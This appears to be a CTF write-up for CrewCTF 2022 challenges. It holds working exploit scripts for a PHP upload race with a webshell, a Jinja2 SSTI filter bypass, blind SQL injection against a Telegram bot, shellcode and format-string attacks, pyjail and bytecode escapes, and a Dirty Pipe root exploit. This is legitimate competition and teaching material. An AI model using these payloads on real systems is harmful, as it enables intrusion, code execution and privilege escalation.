    $fileName = basename($_FILES['uploadedFile']['name']);
    $fileNameCmps = explode(".", $fileName);
    $fileExtension = strtolower(end($fileNameCmps));
    


   
    $dest_path = $uploadFileDir . $newFileName;
    $file_temp = create_temp_file($fileTmpPath, $fileName);
    echo "your file in ".move_upload($file_temp,$fileName);
    
  }
  if(isset($_GET["clear_cache"])){
    system("rm -r storage/app/uploads/*");
  }
?>
<form action="/" method="post" enctype="multipart/form-data">
Select image to upload: <input type="file" name="uploadedFile" id="fileToUpload"> 
<input type="submit" value="Upload Image" name="submit"> </form>

This challenge is essentially a PHP file upload service, with a .htaccess file that prevents files under storage/app/temp and storage/app/uploads from being executed as PHP.

The upload process copies the file to storage/app/temp with the original filename, then adds some random characters to the filename before copying it to storage/app/uploads, and finally deletes the file from storage/app/temp after sleeping for 1 second. If you upload a .php file directly, it will be blocked by the original .htaccess, preventing you from getting a web shell.

Note that it places the file in storage/app/temp based on the original filename, so uploading a .htaccess file will succeed. Therefore, by uploading both a .htaccess file and another webshell (e.g., peko.p) before the sleep(1) ends, you can achieve RCE.

So, I wrote a multithreaded race script to brute force it and get the flag:

import requests
from threading import Thread

base_url = "https://uploadz-web.crewctf-2022.crewc.tf/"


def brute():
    while True:
        r = requests.get(f"{base_url}/storage/app/temp/peko.p")
        print(r.text)


def upload():
    while True:
        requests.post(
            f"{base_url}/",
            files={"uploadedFile": ("peko.p", b'<?php system("cat /flag.txt"); ?>')},
        )


def upload2():
    while True:
        requests.post(
            f"{base_url}/",
            files={
                "uploadedFile": (".htaccess", b"AddType application/x-httpd-php .p")
            },
        )


Thread(target=brute).start()
Thread(target=brute).start()
Thread(target=brute).start()
Thread(target=upload).start()
Thread(target=upload2).start()
# crewctf{upload_rce_via_race}

EzChall

First, bypass a login function:

@app.route('/login', methods=['GET','POST'])
def login():
	if 'user' in session:
		return redirect(url_for('dashboard'))
	else:
		if request.method == "POST":
			user, passwd = '', ''
			user = request.form['user']
			passwd = request.form['passwd']
			if user == 'admin' and bdecode(passwd) == 'pass is admin ??' and len(passwd) == 24 and passwd != 'cGFzcyBpcyBhZG1pbiA/Pw==':
				session['user'] = user
				return redirect(url_for('dashboard'))
			return render_template('login.html', msg='Incorrect !')
		return render_template('login.html')

The bdecode function is base64 decode, but it returns a str instead of bytes. The goal is to find another base64 string that decodes to pass is admin ?? besides cGFzcyBpcyBhZG1pbiA/Pw==. Since base64 decoding can produce multiple different base64 strings that decode to the same result, a simple one is to change Pw== to Pz==.

After logging in, there is a blind jinja2 SSTI:

@app.route('/dashboard',methods=['GET'])
def dashboard():
	if 'user' not in session:
			return redirect(url_for('login'))
	else:
		if request.args.get('payload') is not None:
			payload = request.args.get('payload')
			if check_filter(payload):
				render_template_string(payload)
			return 'I believe you can overcome this difficulty ><'
		return 'miss params'

The check_filter function comes from filter.py:

import string

UNALLOWED = [
 'class', 'mro', 'init', 'builtins', 'request', 'app','sleep', 'add', '+', 'config', 'subclasses', 'format', 'dict', 'get', 'attr', 'globals', 'time', 'read', 'import', 'sys', 'cookies', 'headers', 'doc', 'url', 'encode', 'decode', 'chr', 'ord', 'replace', 'echo', 'base', 'self', 'template', 'print', 'exec', 'response', 'join', 'cat', '%s', '{}', '\\', '*', '&',"{{", "}}", '[]',"''",'""','|','=','~']


def check_filter(input):
    input = input.lower()
    if input.count('.') > 1 or input.count(':') > 1 or input.count('/') > 1:
        return False
    if len(input) < 115:
        for char in input:
            if char in string.digits:
                return False
        for i in UNALLOWED:
            if i in input:
                return False
        return True
    return False

Since {{ and }} are blocked, use {% if xxx %}{% endif %} instead. Additionally, basic Flask objects like request and app are blocked, but you can check what other objects are available under the jinja2 context:

import jinja2

@jinja2.contextfunction
def gc(c):
    return c
# ...
render_template_string('{{gc().parent().keys()}}')
# dict_keys(['range', 'dict', 'lipsum', 'cycler', 'joiner', 'namespace', 'url_for', 'get_flashed_messages', 'config', 'request', 'session', 'g', 'gc'])

So, g.pop.__globals__.__builtins__ can access builtins, but to bypass the filter, it needs to be transformed into g["pop"]["__glob" "als__"]["__buil" "tins__"]. This works because jinja2 allows accessing properties using brackets, and the string part is an implicit string concatenation feature inherited from C in Python.

With globals, the first thing I did was __import__('filter').UNALLOWED.clear(), which simplifies bypassing most of the filters.

The next goal is to get a response, but it quickly becomes apparent that the remote server does not have external network access, so reverse shell is not an option. My approach was to directly from __main__ import app, then use app.add_url_rule to add a route that can directly eval input. The rest is simply reading the flag.

curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.Ylpo8A.poKGs_Bvh1Fg4ZWiCqhqv2XFAm8' 'http://ezchall.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={% if g["pop"]["__glob" "als__"]["__buil" "tins__"]["__imp" "ort__"]("filter").UNALLOWED["clear"]() %}{%endif%}'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.Ylpo8A.poKGs_Bvh1Fg4ZWiCqhqv2XFAm8' 'http://ezchall.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={{ g["pop"]["__globals__"]["__builtins__"]["exec"](request["args"].get("code")) }}' --data-urlencode $'code=from __main__ import app;\ndef pekomiko35():\n\tfrom flask import request\n\ttry:\t\treturn repr(eval(request.args.get("code")))\n\texcept Exception as ex:\n\t\treturn repr(ex)\n\napp.add_url_rule("/pekomiko35", view_func=pekomiko35)'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.Ylpo8A.poKGs_Bvh1Fg4ZWiCqhqv2XFAm8' 'http://ezchall.crewctf-2022.crewc.tf:1337/pekomiko35' -G --data-urlencode 'code=open("/flag").read()'

The official solution uses the session to transmit the flag:

{% set x=session.update({"a":cycler["__in" "it__"]["__glo" "bals__"]["os"]["popen"]("rev /flag")["re" "ad"]()})%}

However, this actually doesn't work because the filter contains the = character, and the author said they originally intended to block the == character.

EzChall Again

This challenge is almost the same as the previous one, except that filter.py blocks more things:

import string

UNALLOWED = [
 'class', 'mro', 'init', 'builtins', 'request', 'app','sleep', 'add', '+', 'config', 'subclasses', 'format', 'dict', 'get', 'attr', 'globals', 'time', 'read', 'import', 'sys', 'cookies', 'headers', 'doc', 'url', 'encode', 'decode', 'chr', 'ord', 'replace', 'echo', 'base', 'self', 'template', 'print', 'exec', 'response', 'join', 'cat','if', 'end', 'for', 'sum', '%s', '{}', '\\', '*', '&',"{{", "}}", '[]',"''",'""','|','==','~']


def check_filter(input):
    input = input.lower()
    if input.count('.') > 1 or input.count(':') > 1 or input.count('/') > 1 or input.count('%') > 2:
        return False, 'count'
    if len(input) < 115:
        for char in input:
            if char in string.digits:
                return False, f'digit: {char}'
        for i in UNALLOWED:
            if i in input:
                return False, i
        return True, ''
    return False, 'len'

This causes my {% if xxx %}{% endif %} payload to fail. However, checking the official documentation reveals many usable options, such as {% include xxx %}. After modifying the previous payload, my solution still works.

curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.YlsApg.DcdZywnJAq6IqOTnOoBIwC3Dj0w' 'http://ezchall-again.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={%include g["pop"]["__glob" "als__"]["__buil" "tins__"]["__imp" "ort__"]("filter").UNALLOWED["clear"]()%}'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.YlsApg.DcdZywnJAq6IqOTnOoBIwC3Dj0w' 'http://ezchall-again.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={{ g["pop"]["__globals__"]["__builtins__"]["exec"](request["args"].get("code")) }}' --data-urlencode $'code=from __main__ import app;\ndef pekomiko35():\n\tfrom flask import request\n\ttry:\t\treturn repr(eval(request.args.get("code")))\n\texcept Exception as ex:\n\t\treturn repr(ex)\n\napp.add_url_rule("/pekomiko35", view_func=pekomiko35)'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.YlsApg.DcdZywnJAq6IqOTnOoBIwC3Dj0w' 'http://ezchall-again.crewctf-2022.crewc.tf:1337/pekomiko35' -G --data-urlencode 'code=open("/flag").read()'

Robabikia

This challenge is a sourceless Telegram bot, with a /desc command that shows an error when /desc ' is used. Further testing confirms it is SQL injection, but it seems to replace whitespace characters, so /*a*/ is used to bypass (Telegram treats ** as markdown).

Further testing reveals the target table name is items, with four columns id, description, value, price, and the flag is hidden in the value of a certain row. The response also indicates a whitelist, so union select cannot be used to get the flag, requiring blind SQLi.

For blind SQLi, a method to query programmatically is needed. After some research, I found this method. Implementing this method allows using your own account to send and receive messages to the bot in Python, and the rest is binary searching each character.

from telegram.client import Telegram  # pip install python-telegram
from pprint import pp
import asyncio

# https://my.telegram.org/apps
tg = Telegram(
    api_id="XX",
    api_hash="XX",
    phone="XX",
    database_encryption_key="XX",
)
tg.login()
result = tg.get_chats()
result.wait()
# if result.error:
#     print(f"get chats error: {result.error_info}")
# else:
#     print(f"chats:")
#     pp(result.update)


bot_id = 5317979329


class SendMessageException(Exception):
    def __init__(self, error_info):
        self.error_info = error_info


msg_handlers = []


def send_msg(msg):
    fut = asyncio.Future()
    result = tg.send_message(
        chat_id=bot_id,
        text=msg,
    )
    result.wait()
    if result.error:
        fut.set_exception(SendMessageException(result.error_info))
    else:

        def handler(msg):
            # https://stackoverflow.com/questions/53090005/futures-set-result-from-a-different-thread
            fut.get_loop().call_soon_threadsafe(fut.set_result, msg)

        # # pp(result.update)
        msg_handlers.append(handler)
    return fut


def new_message_handler(update):
    if update["message"]["is_outgoing"]:
        return
    message_content = update["message"]["content"]
    chat_id = update["message"]["chat_id"]

    if chat_id == bot_id and message_content["@type"] == "messageText":
        text = message_content.get("text", {}).get("text", "")
        print(f"Received {text} from {chat_id}")
        # pp(update)
        if len(msg_handlers) > 0:
            msg_handlers.pop(0)(text)


tg.add_message_handler(new_message_handler)


async def search_char(idx):
    l = 20
    r = 127
    while r - l > 1:
        print(idx, l, r)
        m = (l + r) // 2
        cmd = f"/desc xxj'/*a*/AND/*a*/1=0/*a*/union/*a*/select/*a*/description/*a*/FROM/*a*/items/*a*/where/*a*/value/*a*/LIKE/*a*/'crew%'/*a*/AND/*a*/unicode(substr(value,{idx},{idx}))<{m} --"
        resp = await send_msg(cmd)
        if "flag" in resp:
            r = m
        else:
            l = m
    return chr(l)


async def test():
    print("Receiving old messages...")
    await asyncio.sleep(5)
    flag = "crew{U53_fa57_WAY_1n_5QL_1nj3C710N_1N_t3l3_B0t}"
    while not flag.endswith("}"):
        flag += await search_char(len(flag) + 1)
        print(flag)


loop = asyncio.get_event_loop()

try:
    asyncio.run(test())
finally:
    tg.stop()

pwn

Wiznu

Just ret2shellcode and orw:

from pwn import *

context.arch = "amd64"

sc = asm(
    shellcraft.pushstr(b"flag")
    + """
mov rax, rsp
xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov al, 20
mov rdx, rax
mov al, SYS_write
syscall

xor rax, rax
mov rdi, rsp
xor rsi, rsi
mov al, SYS_open
syscall

mov rdi, rax
mov rsi, rsp
mov dl, 0xff
xor rax, rax # SYS_read == 0
syscall

xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov dl, 0xff
mov al, SYS_write
syscall
"""
)
# io = process('./chall')
io = remote("wiznu.crewctf-2022.crewc.tf", 1337)
io.recvuntil(b"Special Gift for Special Person : ")
addr = int(io.recvlineS(), 16)
io.send(sc.ljust(264) + p64(addr))
io.interactive()
# crew{ORW_come_to_the_rescue_st4rn_h3r3!}

Ubume

A straightforward format string exploit, just write exit@got to the win function:

from pwn import *

context.arch = "amd64"

elf = ELF("./chall")
# io = process('./chall')
io = remote("ubume.crewctf-2022.crewc.tf", 1337)

pl = fmtstr_payload(6, {elf.got["exit"]: elf.sym["win"]})
io.sendline(pl)
io.interactive()
# crew{format_string_aattack_f0r_0verr1ding_GOT_!!!}

Takumi

This challenge involves pwning a C extension for Python, essentially a heap type. However, there is a severe design flaw that allows you to escape the pyjail and get a shell.

The function that checks the input Python code is as follows:

def is_bad_str(code):
    code = code.lower()
    # I don't like these words :)
    for s in ['__', 'module', 'class', 'code', 'base', 'globals', 'exec', 'eval', 'os', 'import', 'mro', 'attr', 'sys']:
        if s in code:
            return True
    return False

Then it is inserted into the placeholder (/** code **/) and executed:

from _note import *

from sys import modules
del modules['os']
keys = list(__builtins__.__dict__.keys())
for k in keys:
    # present for you
    if k not in ['int', 'id', 'print', 'range', 'hex', 'bytearray', 'bytes']:
        del __builtins__.__dict__[k]

/** code **/

The bypass is simple, just one line:

modules['po''six'].system('sh')

The payload script:

from pwn import *

def is_bad_str(code):
    code = code.lower()
    # I don't like these words :)
    for s in ['__', 'module', 'class', 'code', 'base', 'globals', 'exec', 'eval', 'os', 'import', 'mro', 'attr', 'sys']:
        if s in code:
            print(s)
            return True
    return False

code = '''
modules['po''six'].system('sh')
EOF
'''
print(is_bad_str(code))

io = remote('takumi.crewctf-2022.crewc.tf', 1337)
# io = remote('localhost', 17012)
io.send(code.encode())
io.interactive()
# crew{TAKUMI_KILLING_SPREEE_HUAHUAHUAHUAHUA_LINZ_IS_HERE}

Additionally, another interesting bypass is to add an extra indent at the beginning, causing your code to run inside the loop before the builtins are cleared.

qKarachter

This challenge involves pwning a custom kernel module to get root, but again, there is a severe design flaw that allows you to solve it without pwning.

First, the kernel version is 5.8.1, and testing reveals that the Dirty Pipe exploit can be used to get root directly. This is how I got the flag:

from pwn import *
from base64 import b64encode
from tqdm import tqdm


with open("./rootfs/exp", "rb") as f:
    # https://dirtypipe.cm4all.com/
    # musl-gcc exp.c -static -o exp -O2
    data = f.read()

# io = process(['qemu-system-x86_64','-m','64M','-kernel', './bzImage', '-initrd', './rootfs.cpio', '-append', 'console=ttyS0 oops=panic panic=1 kpti=1 kaslr quiet', '-cpu', 'kvm64,+smep,+smap', '-monitor', '/dev/null', '-nographic'], stdout=PIPE)
io = remote("qkarachter.crewctf-2022.crewc.tf", 1337)
chunk_size = 512
for i in tqdm(range(0, len(data), chunk_size)):
    io.recvuntil(b" $ ")
    b64 = b64encode(data[i : i + chunk_size]).decode()
    io.sendline(f'(echo "{b64}" | base64 -d >> /home/user/exp) &'.encode())
context.log_level = "debug"
io.recvuntil(b" $ ")
io.sendline(b"chmod +x /home/user/exp")
io.recvuntil(b" $ ")
io.sendline(b"passwd_tmp=$(cat /etc/passwd|head)")
io.recvuntil(b" $ ")
io.sendline(b'/home/user/exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"')
io.recvuntil(b" $ ")
io.sendline(b"su root")
io.recvuntil(b" # ")
io.sendline(b"id")
io.recvuntil(b" # ")
io.sendline(b"cat /flag")
io.interactive()
# crew{k3rn3l_Q_ch4rach73r_d3v1c3_pwn1nG_1z_fuN!!!!}

Additionally, there is an even simpler solution, which I saw posted by ptr-yudai on Discord:

/ $ id
uid=1000(user) gid=1000(user) groups=1000(user)
/ $ rm /bin/halt
/ $ echo "#!/bin/sh" > /bin/halt
/ $ echo "/bin/sh" >> /bin/halt
/ $ chmod +x /bin/halt
/ $ exit
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root)

This is because the permissions are not set correctly:

/ $ ls -l /bin/halt
-rwsrwxrwx  348 root     root        973200 Mar 21 13:23 /bin/halt

And the last few lines of /init execute the following commands:

setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys

halt -d 1 -n -f

So, by overwriting /bin/sh (or /bin/umount), you can execute a shell as root.

rev

locker

The reverse part of this challenge was done by artis24106, and I only solved the remaining crypto part.

The program reads files under the imp0rt4nt_f1l3s directory and encrypts them in lexicographical order. The given encrypted files are rfc1087.txt.crewcrypt and secret.txt.crewcrypt (in lexicographical order).

The encryption process treats every 1024 bytes of the file as a block and uses two random keys and nonces for encryption. The function to encrypt a block is roughly as follows:

def enc(key1, nonce1, key2, nonce2, plaintext, swap=False):
    ret = []
    for i in range(len(plaintext)):
        cnt1, cnt2 = i % 1024, (i * 2) % 1024
        if swap:
            cnt1, cnt2 = cnt2, cnt1
        out = chacha20_encrypt(key1, nonce1, plaintext[i : i + 1], cnt1)
        out = chacha20_encrypt(key2, nonce2, out, cnt2)
        ret.append(out[0])
    return bytes(ret)

The swap parameter changes with each block, i.e., the first block swap=False, the second block swap=True, and so on. This parameter does not reset between encrypting different files.

Additionally, after encrypting a file, the next set of keys and nonces are updated:

def update(key, nonce):
    tmp = []
    for i in range(1024):
        t = chacha20_encrypt(key, nonce, b"\x00", i)
        tmp.append(t[0])
    tmp = bytes(tmp)
    return tmp
    tmp = sha256(tmp[:512]).digest() + sha256(tmp[512:]).digest()

    # (new_key, new_nonce)
    return (tmp[0x00:0x20], tmp[0x20:0x2C])

It can be inferred that deriving the next set of keys only requires the first 1024 bytes of the keystream.

First, the plaintext of rfc1087.txt can be obtained from https://www.rfc-editor.org/rfc/rfc1087.txt. Comparing the sizes reveals that the encrypted version is only 24 bytes larger, which is because it appends the nonce1 twice to the encrypted file.

By XORing the plaintext and ciphertext and splitting it into 1024-byte blocks, it can be seen that the keystreams for blocks 1, 3 and 2, 4 are the same.

The remaining task is to use z3 to represent the 2048 bytes of keystream for key1 and key2 with symbolic variables, and then solve for the correct keystream by making the previous keystreams equal.

The actual keystream obtained will have 256 possibilities, so a small brute force search is needed to find the correct next set of keys to decrypt secret.txt.

from chacha20 import chacha20_encrypt
# https://github.com/Alef-Burzmali/ChaCha20-py/blob/master/chacha20.py
from hashlib import sha256

with open("rfc1087.txt", "rb") as f:
    plaintext = f.read()
with open("rfc1087.txt.crewcrypt", "rb") as f:
    ciphertext = f.read()
with open("secret.txt.crewcrypt", "rb") as f:
    secretct = f.read()


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


def xorlist(a, b):
    return [x ^ y for x, y in zip(a, b)]


def to_blocks(data, sz):
    return [data[i : i + sz] for i in range(0, len(data), sz)]


def gen_ks(key, nonce, sz):
    return b"".join([chacha20_encrypt(key, nonce, b"\0", i) for i in range(sz)])


def derive_key(ks):
    tmp = sha256(ks[:512]).digest() + sha256(ks[512:]).digest()
    return (tmp[0x00:0x20], tmp[0x20:0x2C])


bs = 1024
pblocks = to_blocks(plaintext, bs)
cblocks = to_blocks(ciphertext, bs)
even_ks = xor(pblocks[0], cblocks[0])
odd_ks = xor(pblocks[1], cblocks[1])

from z3 import *

ks1_sym = [BitVec(f"ks1_{i}", 8) for i in range(1024)]
ks2_sym = [BitVec(f"ks2_{i}", 8) for i in range(1024)]
even_ks_sym = xorlist(ks1_sym, ks2_sym[::2] * 2)
odd_ks_sym = xorlist(ks1_sym[::2] * 2, ks2_sym)

sol = Solver()
for x, y in zip(even_ks_sym, even_ks):
    sol.add(x == y)
for x, y in zip(odd_ks_sym, odd_ks):
    sol.add(x == y)
while sol.check() == sat:
    m = sol.model()
    ks1 = bytes([m.eval(s).as_long() for s in ks1_sym])
    ks2 = bytes([m.eval(s).as_long() for s in ks2_sym])
    key1, nonce1 = derive_key(ks1)
    key2, nonce2 = derive_key(ks2)
    kks1 = gen_ks(key1, nonce1, len(secretct) * 2)
    kks2 = gen_ks(key2, nonce2, len(secretct) * 2)
    secret = xor(xor(kks1[::2] * 2, kks2), secretct)
    print(secret)
    sol.add(ks1_sym[0] != ks1[0])

# crew{pls_b3_r3sp0ns1bl3_0n_th3_int3rn3t_m4ny_thx}

misc

Kinda Arbitrary Code Execution

#!/usr/bin/python3.10
import marshal
import types
import os
import base64

# Want to make sure to be on linux
system = os.name

raw = b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00\xf3\x18\x00\x00\x00t\x00d\x01k\x03s\x06J\x00\x82\x01t\x01d\x02\x83\x01\x01\x00d\x00S\x00\xa9\x03N\xda\x02nt\xfa@You are very restricted; sh && other stuff would be nice to have)\x03\xda\x06system\xda\x05print\xda\n__import__\xa9\x00r\x08\x00\x00\x00r\x08\x00\x00\x00\xfa\x08chall.py\xda\x01g\x0c\x00\x00\x00\xf3\x04\x00\x00\x00\x0c\x01\x0c\x01'
f = types.FunctionType(marshal.loads(raw), globals(), 'f')

code = base64.b64decode(input())
if code:
    f.__code__ = f.__code__.replace(co_code=code)
print(f())

This challenge is a Python bytecode pyjail, with an existing function that allows you to replace parts of the bytecode and execute it.

Observing its code object reveals:

co_names: ('system', 'print', '__import__')
co_consts: (None, 'nt', 'You are very restricted; sh && other stuff would be nice to have')

The global system value is 'posix', so using bytecode to load __import__, then importing posix and calling system on that string will get a shell.

#!/usr/bin/python3.10
import marshal
import types
import os
import base64
import dis
from dis import opmap

# Want to make sure to be on linux
system = os.name

raw = b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00\xf3\x18\x00\x00\x00t\x00d\x01k\x03s\x06J\x00\x82\x01t\x01d\x02\x83\x01\x01\x00d\x00S\x00\xa9\x03N\xda\x02nt\xfa@You are very restricted; sh && other stuff would be nice to have)\x03\xda\x06system\xda\x05print\xda\n__import__\xa9\x00r\x08\x00\x00\x00r\x08\x00\x00\x00\xfa\x08chall.py\xda\x01g\x0c\x00\x00\x00\xf3\x04\x00\x00\x00\x0c\x01\x0c\x01'
f = types.FunctionType(marshal.loads(raw), globals(), 'f')

# code = base64.b64decode(input())
# if code:
#     f.__code__ = f.__code__.replace(co_code=code)
# print(f())
print(f.__code__.co_names)
print(f.__code__.co_consts)
dis.dis(f)
bc = bytes(
    [
        opmap['LOAD_GLOBAL'], 2,
        opmap['LOAD_GLOBAL'], 0,
        opmap['CALL_FUNCTION'], 1,
        opmap['LOAD_ATTR'], 0,
        opmap['LOAD_CONST'], 2,
        opmap['CALL_FUNCTION'], 1,
        opmap['RETURN_VALUE'],0
    ]
)
print(base64.b64encode(bc))
f.__code__ = f.__code__.replace(co_code=bc)
print(f())

Even Less Arbitrary Code Execution

#!/usr/bin/python3.10
import base64
import types

names = base64.b64decode(input('Enter names: '), validate=False)
code = base64.b64decode(input('Enter code: '), validate=False)

def f():
    pass

f.__code__ = f.__code__.replace(
    co_names=(*types.FunctionType(f.__code__.replace(co_code=names),{})(),),
    co_code=code
)
print(f())

This challenge is an advanced version of the previous one, requiring input of bytecode for two functions. The first function should return a tuple or list representing the co_names of the second function. So, by making the first function return the appropriate string, the second function can easily get a shell.

The difficulty lies in generating strings without co_consts. I had previously written related code in 0CTF - pypypypy, so I copied it over.

#!/usr/bin/python3.10
import base64
import types
from dis import opmap
import dis

# names = base64.b64decode(input('Enter names: '), validate=False)
# code = base64.b64decode(input('Enter code: '), validate=False)

def gen_c():
    return bytes(
        [
            opmap["BUILD_TUPLE"],
            0,
            opmap["BUILD_TUPLE"],
            0,
            opmap["BUILD_SLICE"],
            2,
            opmap["FORMAT_VALUE"],
            0,
            # ['slice((), (), None)']
            opmap["BUILD_TUPLE"],
            0,
            opmap["UNARY_NOT"],
            0,
            opmap["DUP_TOP"],
            0,
            opmap["DUP_TOP"],
            0,
            opmap["BINARY_ADD"],
            0,
            opmap["BINARY_ADD"],
            0,
            # ['slice((), (), None)', 3]
            opmap["BINARY_SUBSCR"],
            0,
            # ['c']
        ]
    )

def gen_num_op(n):
    # push number n into stack
    one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
    if n == 1:
        return one
    half = gen_num_op(n // 2)
    ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
    if n % 2 == 1:
        ret += one + bytes([opmap["BINARY_ADD"], 0])
    return ret


def gen_str(s):
    # assuming stack top is 'c'
    assert len(s) > 0
    if len(s) == 1:
        return bytes(
            [
                *gen_num_op(ord(s[0])),
                opmap["ROT_TWO"],
                0,
                opmap["FORMAT_VALUE"],
                4,
            ]
        )
    return bytes(
        [
            opmap["DUP_TOP"],
            0,
            *gen_str(s[:-1]),
            # ['c', s[:-1]]
            opmap["ROT_TWO"],
            0,
            *gen_num_op(ord(s[-1])),
            opmap["ROT_TWO"],
            0,
            opmap["FORMAT_VALUE"],
            4,
            # [s[:-1], s[-1]]
            opmap["BUILD_STRING"],
            2,
        ]
    )

def gen_str_wrap(s):
    return gen_c() + gen_str(s)

def f():
    pass

names = bytes([
    *gen_str_wrap('exec'),
    *gen_str_wrap('input'),
    opmap['BUILD_TUPLE'], 2,
    opmap['RETURN_VALUE'], 0
])
# dis.dis(namef)
print(*types.FunctionType(f.__code__.replace(co_code=names),{})())

code = bytes([
    opmap['LOAD_GLOBAL'], 0,
    opmap['LOAD_GLOBAL'], 1,
    opmap['CALL_FUNCTION'], 0,
    opmap['CALL_FUNCTION'], 1,
    opmap['RETURN_VALUE'], 0
])

print(base64.b64encode(names))
print(base64.b64encode(code))

f.__code__ = f.__code__.replace(
    co_names=(*types.FunctionType(f.__code__.replace(co_code=names),{})(),),
    co_code=code
)
print(f())

Additionally, this is the official solution by the author (Blupper), which is conceptually similar but written more simply and clearly:

from base64 import b64encode
import dis

def BUILD_ZERO():
    return [
        ('LOAD_CONST', 0), # None
        'UNARY_NOT',
        'UNARY_NOT', # False
        'DUP_TOP',
        'BINARY_MULTIPLY' # False * False = 0
    ]

def BUILD_NUMBER(n):
    if n == 0:
        return BUILD_ZERO()

    ins = [
        ('LOAD_CONST', 0), # None
        'UNARY_NOT', # True
        'DUP_TOP',
        'BINARY_MULTIPLY', # True * True = 1
    ]
    
    diff = n - 1
    ins += ['DUP_TOP'] * diff
    ins += ['BINARY_ADD'] * diff

    return ins

def BUILD_LETTER(ch):
    return [
        *BUILD_NUMBER(ord(ch)),

        *BUILD_NUMBER(1),
        *BUILD_NUMBER(1),
        ('BUILD_SLICE', 2),
        'FORMAT_VALUE', # 'slice(1, 1, None)'
        *BUILD_NUMBER(3),
        'BINARY_SUBSCR', # 'c'

        ('FORMAT_VALUE', 4) # format(n, 'c') is the same as chr(n)
    ]

def BUILD_STRING(s):
    ins = []
    for ch in s:
        ins += BUILD_LETTER(ch)
    ins += [('BUILD_STRING', len(s))]
    return ins

def assemble(instructions):
    bytecode = b''
    for instr in instructions:
        if type(instr) == str:
            instr = (instr,)
        if len(instr) == 2:
            opcode = dis.opmap[instr[0]]
            arg = instr[1]
        elif len(instr) == 1:
            opcode = dis.opmap[instr[0]]
            arg = 0

        bytecode += bytes([opcode, arg])

    return bytecode

names = assemble([
    *BUILD_STRING('os'),
    *BUILD_STRING('system'),
    ('BUILD_TUPLE', 2),
    'RETURN_VALUE'
])

code = assemble([
    *BUILD_NUMBER(0),
    ('BUILD_LIST', 0),
    ('IMPORT_NAME', 0),
    ('LOAD_METHOD', 1),
    *BUILD_STRING('sh'),
    ('CALL_METHOD', 1),
    'RETURN_VALUE'
])

print(b64encode(names))
print(b64encode(code))